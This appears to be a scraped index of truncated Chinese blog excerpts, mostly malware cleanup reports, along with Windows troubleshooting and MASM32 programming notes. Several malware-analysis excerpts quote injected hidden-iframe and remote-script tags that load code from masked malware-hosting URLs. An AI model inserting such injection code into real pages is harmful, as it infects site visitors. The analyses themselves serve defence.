其他

Test your firewalls for behavior problems測試防火牆行為問題《endurer註：1。behavior problem:行為問題》Blogger: Tom Olzak部落格：Tom Olzak翻譯：endurerCategory: Security, IT Management, networking, Firewall分類：安全，IT管理,網路，防火牆Tags: Firewall, Network, Tom Olzak標籤：防火牆，網路，Tom

reboot 14:28:08你好，我們有一個FreeBSD伺服器受到大量 新型DOS攻擊,你有什麼好的解決辦法嗎 ? 【D8】 14:29:28直接封IP就行了啊。 reboot 14:28:44IP太多了啊.怎麼封? 【D8】 14:30:02那種DoS是不能偽造源IP的。你確定是那種攻擊嗎？ reboot 14:29:14tcp4       0      0  xx.129.113.155.80      218.22.215.38.64007    FIN_WAIT_2tcp4    

遭遇修改系統時間、使用映像劫持的xibgptd.exe,netdde32.exe等3endurer 原創2007-08-13 第1版檔案說明符 : C:/WINDOWS/netdde32.exe屬性 : -SH-擷取檔案版本資訊大小失敗!建立時間 : 2007-8-10 8:4:22修改時間 : 2005-10-19 9:19:16訪問時間 : 2007-8-10 0:0:0大小 : 46080 位元組 45.0 KBMD5 :

遭遇Trojan-PSW.Win32.WOW,Trojan.PSW.Win32.OnlineGames,Trojan.MnLess.kks等1endurer  原創2007-08-06 第1版剛才接到一位朋友的求助電話，說他的電腦上不了網了，瑞星監控小傘顯示為黃色。用雅虎助手修複還是不行，請偶幫忙處理。先看瑞星監控，發現是郵件監控無法啟動。再看網路，朋友的電腦採用的是區域網路上網方式，ping 網關，可以ping通，www.163.com也可以ping通，但就是打不開網頁。這樣連

http://article.pchome.net/2003/06/21/10332.htm常見WinXP啟動故障及解決方案 作者: 網友 日期: 2003-06-22 1、NTLDR is missing當你從Win9X升級到Windows XP的時候1)、Clone以後的問題：當你想把使用Clone製作的Win9x升級到Windows XP，那麼很容易出現一句提示：NTLDR is

遭遇RootKit.Win32.GameHack.GEN,Trojan.PSW.Win32.GameOL.GEN,RootKit.Win32.Mnless等1endurer 原創2008-03-05 第1版今天，一位網友說他的電腦昨天下午突然變得很慢，只好強制關機，今天開機時有黑色視窗閃過，用瑞星查殺出一些病毒，但系統反應還是比較慢，讓偶幫忙檢修。通過QQ遠程協助，先檢查瑞星的殺毒日誌（片段）：/===病毒名稱   處理結果    掃描方式   路徑   

endurer　原創2006-09-21　第1版該網站首頁被加入代碼：/--------＜script language="JavaScript" src="hxxp://www***.zhu**jiang***q*h*.com/images/ad.js"＞＜/script＞--------/ad.js　的內容為：/--------document.write("＜iframe src=hxxp://www***.zhu**jiang***q*h*.com/images/ad***.htm

繼續寫定時強制休息程式。定時/倒計時功能使用了定時器。當強制休息時間還剩30秒時，我們就在螢幕右下角顯示倒計時視窗。要在螢幕右下角顯示倒計時視窗，在計算視窗位置時，我們可以不用考慮系統工作列的高度等問題，而直接在案頭工作區中進行定位。實踐感覺，自下向上顯示倒計時視窗要比漸顯效果更能吸引電腦使用者的注意力。另外，加上一些音樂、聲音提示效果會更好。這也算是對《MASM32編程實現視窗漸入漸出效果》(http://blog.csdn.net/Purpleendurer/archive/2008/09/

endurer 原創2007-06-09 第1版一位朋友說他的電腦上不了網，NOD32和金山毒霸也無法啟動，讓偶協助檢修。由於上不了網，沒法下載 pe_xscan，於是先用之前儲存在電腦裡的HijackThis分析。不料 雙擊 HijackThis，無法啟動。雙擊案頭上的瑞星卡卡安全助手表徵圖，這個助手也沒出來。運行 msconfig.exe，還好能用，發現幾個可疑啟動項和服務。懷疑電腦中了映像劫持的病毒，於是把 HijackThis.exe 改名為 4.exe，這樣 HijackThis

遭遇HBKernel32.sys,53u1ttMe.2ys,HBTL.dll,HBSO2.dll,bcejnmfd.dll等1 endurer 原創2008-10-16 第1版 昨天，一位同事說他的電腦開機後案頭一片空白，工作列和案頭表徵圖都未顯示。請偶幫忙檢修。在同事的電腦上開啟工作管理員檢查，沒有發現可疑的進程，而且explorer.exe已經運行了。先把explorer.exe進程終止掉，然後再運行explorer.exe，不料工作管理員假死。嘗試運行cmd.exe，WinRAR.exe，

用MASM32寫的 HttpRead 0.0.0001 beta4一、功能簡介　　讀取多個網頁內容，下載多個網路檔案。　　主要用於讀取惡意網頁代碼，下載通過網頁傳播的惡意程式檔案。二、　　1、http://purpleendurer.ys168.com　　2、http://download.csdn.net/source/417232檔案說明符 : D:/masm32/myworks/http/HttpRead-0_0_0001-Beta4.exe屬性 : A---語言 :

ARP病毒自動加入傳播Trojan.PSW.Win32.OnlineGames的代碼endurer 原創2007-07-31 第1版前兩天，一位網友反映他最近開啟網頁顯示都是亂碼。讓他把網頁原始碼傳過來分析，發現網頁首部被加入代碼：／---＜iframe src＝hxxp:／／**．9**-*6*．in／n．js width＝1 height＝1＞＜／iframe＞---／hxxp://**．9**-*6*．in/n．js

遭遇vchelp.exe,videodevice.dll,swchost.exe,IEXPLORE32.Sys等1endurer 原創2007-11-23 第1版一位網友的電腦開機進入案頭後，提示svchost.exe、D401AB94.EXE等出錯。使用一鍵還原恢複C盤，無效。請偶幫忙檢修。下載 pe_xscan 掃描 log，並分析，發現如下可疑項：/===pe_xscan 07-08-30 by Purple Endurer2005-11-21 20:7:50Windows XP

endurer 原創2007-06-13 第1版Kaspersky 報告：/---已檢測到: 木馬程式 Trojan-Downloader.JS.Agent.ht 指令碼: hxxp://www.a*b***c.cn/system/login.asp?Type=logout[2]已檢測到: 惡意程式 Exploit.Win32.IMG-ANI.aj URL: hxxp://www.i*f5*6***.cn/ad.jpg---/檢查網頁源檔案，發現ARP病毒自動加入代碼：/---＜iframe

endurer 原創2007-04-19 第1版植入的代碼為：/---＜iframe src=hxxp://www.y*xg**m7****8.com/y*x.htm width=0 height=0＞＜/iframe＞---/hxxp://www.y*xg**m7****8.com/y*x.htm 包含代碼：/---＜iframe src="hxxp://l****l*8**0.com/x**x/x**x.htm" width=1 height=1＞＜/iframe＞---/hxxp://l*

by  Greg Shultz Takeaway: The next time you need to identify the cause of a driver problem, turn to Windows XP's little-known troubleshooting tool called the Driver Verifier Manager. By going through a few short steps, you'll be able to determine

遭遇Worm.Win32.Viking.lm/Worm.Viking.tc,Trojan.PSW.Win32.OnlineGames等2endurer 原創2007-07-26 第1版看到 C:/WINDOWS/RichDll.dll 和 O4 - HKLM/../Run: [load] C:/WINDOWS/uninstall/rundl132.exe，就讓偶想起Viking……停止並禁用WindowsDown (Windows_SystemDown)卸載百度超級搜霸下載安裝瑞星卡卡安全助手，

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>&

護眼程式：每隔半小時提示休息2分鐘 距休息時間還有30秒時會通過擴音器發聲提示，並在螢幕右下角顯示倒計時提示窗。 休息期間，螢幕會被護眼程式覆蓋，休息結束時也會通過擴音器發聲提示，螢幕重新顯示。 為了讓程式儘可能少的佔用系統資源，程式採用MASM32編寫，只保留了必要的代碼，連標題列都省了，至於系統托盤表徵圖，檔案版本資訊，支援WinXP的風格之類的東東都不用。

因為工作太忙，好久沒寫程式碼了，不過編寫程式的樂趣令我樂此不疲。 天天跟電腦打交道，一忙起來就忘了休息，弄得眼睛都花了~ 為了保護眼睛，偶決定寫一個定時強制休息的程式~ 雖然現在這類程式已有不少，不過DIY一下還是不錯的~ 先考慮實現倒計時提示視窗，打算讓該視窗漸入漸出~ 這裡用封裝在user32.dll中的API函數AnimateWindow來實現。 函數原型為： BOOL AnimateWindow(       HWND hwnd, //指定產生動畫視窗的控制代碼；